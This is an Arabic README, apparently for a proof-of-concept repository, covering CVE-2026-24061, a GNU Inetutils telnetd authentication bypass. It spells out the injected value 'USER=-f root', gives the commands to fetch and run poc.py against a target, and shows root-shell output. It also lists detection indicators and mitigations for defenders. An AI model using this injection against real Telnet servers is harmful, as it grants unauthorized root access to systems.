
# CVE-2026-24061 تجاوز المصادقة في GNU Inetutils Telnetd
CVE: CVE-2026-24061
الخطورة: حرجة
CVSS: 9.8 (حرجة)
CWE: CWE-88 — التحييد غير السليم لمحددات الوسائط في أمر ما
المكوّن المتأثر: GNU Inetutils telnetd
الإصدارات المتأثرة: 1.9.3 حتى 2.7
CVE-2026-24061 هي ثغرة حرجة لتجاوز المصادقة في تطبيق خادم Telnet الذي توفره GNU Inetutils. تنشأ الثغرة من التحقق غير الكافي من متغير البيئة USER الذي يتحكم فيه العميل عند تفعيل تسجيل الدخول التلقائي في Telnet. يمكن تفسير قيمة خبيثة على أنها خيار لبرنامج تسجيل الدخول في النظام بدلاً من كونها اسم مستخدم. في ظل التكوينات المعرّضة للثغرة، قد يستغل مهاجم بعيد غير مصادق عليه هذا السلوك لاستدعاء login مع الخيار -f وتجاوز المصادقة، مما قد يتيح الحصول على صدفة (shell) بامتيازات الحساب المطلوب.
عندما تعمل خدمة Telnet المتأثرة بامتيازات الجذر (root)، فإن الاستغلال الناجح قد يؤدي إلى وصول جذر بعيد دون مصادقة.
يمكن تلخيص مسار التنفيذ المعرّض للثغرة كما يلي:
Telnet Client
│
│ USER=-f root
▼
telnetd
│
│ constructs login arguments
▼
login -f root
│
│ authentication bypass
▼
root shell
تُثار المشكلة من خلال التفاعل بين وظيفة تسجيل الدخول التلقائي في Telnet ومعالجة متغير البيئة USER.
القيمة التي يتحكم فيها المهاجم:
-f root
لا تُعامَل بصرامة على أنها اسم مستخدم. بدلاً من ذلك، يمكن أن تصبح وسيطاً (argument) لـ login، مما يؤدي إلى سلوك مكافئ لـ:
login -f root
يوجّه الخيار -f برنامج login لتجاوز عملية المصادقة العادية للمستخدم المحدد.
يتضمن المستودع إثبات مفهوم بلغة Python 3 يقوم بإجراء اتصال Telnet، ومعالجة التفاوض المطلوب على البروتوكول، وحقن قيمة USER الخبيثة، والتحقق من الجلسة الناتجة.
git clone https://github.com/Ish3ng0m4/CVE-2026-24061-Telnetd.git
cd CVE-2026-24061-Telnetd
chmod +x poc.py
python3 poc.py <TARGET> <PORT>
wget https://raw.githubusercontent.com/Ish3ng0m4/CVE-2026-24061-Telnetd/main/poc.py
اجعل PoC قابلاً للتنفيذ:
chmod +x poc.py
شغّله بتوفير عنوان الهدف ومنفذ Telnet:
python3 poc.py <TARGET> <PORT>
python3 poc.py 127.0.0.1 23
الاستغلال الناجح
CVE-2026-24061 - GNU Inetutils telnetd Auth Bypass
[*] Target: 127.0.0.1:23
[+] Connected
[*] Injected USER=-f root
[+] VULNERABLE
ثم يوفر PoC جلسة تفاعلية.
id
uid=0(root) gid=0(root) groups=0(root)
يؤكد هذا أن آلية مصادقة Telnet قد تم تجاوزها وأن الجلسة الناتجة تمتلك امتيازات الجذر.
ينفّذ الاستغلال العمليات التالية:
يتصل بخدمة Telnet على الهدف. يجري التفاوض المطلوب على بروتوكول Telnet. يفعّل سلوك تسجيل الدخول التلقائي المطلوب للاستغلال. يوفّر قيمة USER=-f root الخبيثة. يتيح لتطبيق telnetd المعرّض للثغرة تمرير القيمة المُعالجة إلى login. يستقبل الجلسة الناتجة. يوفر طرفية تفاعلية للمشغّل.
لا يعتمد PoC على بيانات اعتماد لمسار المصادقة المعرّض للثغرة.
يعتمد الاستغلال على تكوين الهدف وعلى التفاعل بين telnetd وتطبيق login في النظام.
الشروط الأساسية هي:
نطاق الإصدارات المتأثرة من GNU Inetutils telnetd.
خدمة Telnet متاحة للمهاجم.
وظيفة تسجيل الدخول التلقائي مفعّلة أو متاحة.
معالجة ثغرة في متغير البيئة USER.
تطبيق تسجيل دخول متوافق قادر على تفسير الخيار المُحقَن.
وبالتالي، لا ينبغي اعتبار وجود إصدار Inetutils متأثر وحده دليلاً على قابلية الاستغلال. يجب أيضاً مراعاة تصحيحات التوزيعات وإعدادات الخدمة.
يمكن لـ CVE-2026-24061 اختراق نظام مصاب بالكامل.
اعتماداً على الصلاحيات التي يعمل بها telnetd، قد يوفر الاستغلال:
تجاوز المصادقة
وصول غير مصرح به إلى حسابات محلية
تنفيذ أوامر عن بُعد
تصعيد الصلاحيات
وصول بمستوى الجذر
اختراق كامل للنظام
أعلى سيناريو خطر هو خدمة Telnet متاحة عن بُعد حيث يؤدي الاستغلال إلى جلسة جذر.
تشمل المؤشرات المحتملة للاستغلال ما يلي:
اتصالات غير متوقعة إلى TCP/23.
محاولات مصادقة Telnet باستخدام أسماء مستخدمين غير معتادة.
قيم USER مشبوهة تبدأ بخيارات سطر الأوامر.
وسائط غير متوقعة لعملية تسجيل الدخول.
جلسات جذر ناشئة من telnetd.
عمليات غير متوقعة تُنشئها خدمة Telnet.
يجب أيضاً أن تحدد مراقبة الشبكة الأنظمة التي تكشف عن خدمات Telnet دون داعٍ.
الاستجابة الموصى بها هي إزالة Telnet واستخدام SSH للإدارة عن بُعد.
إذا تعذرت إزالة Telnet فوراً:
قم بالترقية إلى إصدار مقدم من المورّد يحتوي على الإصلاح الأمني.
طبّق تحديث الأمان المناسب لنظام التشغيل.
قيّد TCP/23 على شبكات الإدارة الموثوقة.
امنع الكشف المباشر عن Telnet للشبكات غير الموثوقة.
راقب نشاط المصادقة والعمليات في Telnet.
نظراً لأن توزيعات Linux قد تُرجع إصلاحات أمنية دون تغيير رقم الإصدار الأصلي، يجب على المسؤولين التحقق من الحالة الأمنية لحزمة توزيعتهم بدلاً من الاعتماد فقط على الإصدار المعروض.
تم إعادة إنتاج الثغرة بنجاح ضد خدمة GNU Inetutils Telnet مصابة تعمل على Ubuntu 22.04.5 LTS.
أنشأ PoC اتصالاً بـ TCP/23، وحقن:
USER=-f root
وحصل على جلسة جذر.
أعاد التحقق من الصلاحيات:
uid=0(root) gid=0(root) groups=0(root)
يوفر هذا تأكيداً مباشراً على التأثير الأمني.
يُقدَّم هذا الإثبات المفهوم لأغراض البحث الأمني والتحقق من الثغرات واختبار الاختراق المصرح به والأغراض التعليمية.
اختبر فقط الأنظمة التي لديك تصريح صريح بذلك.
Gabriel D. Ishengoma
الأمن الهجومي · البحث في الأمن السيبراني · التحقيق الجنائي الرقمي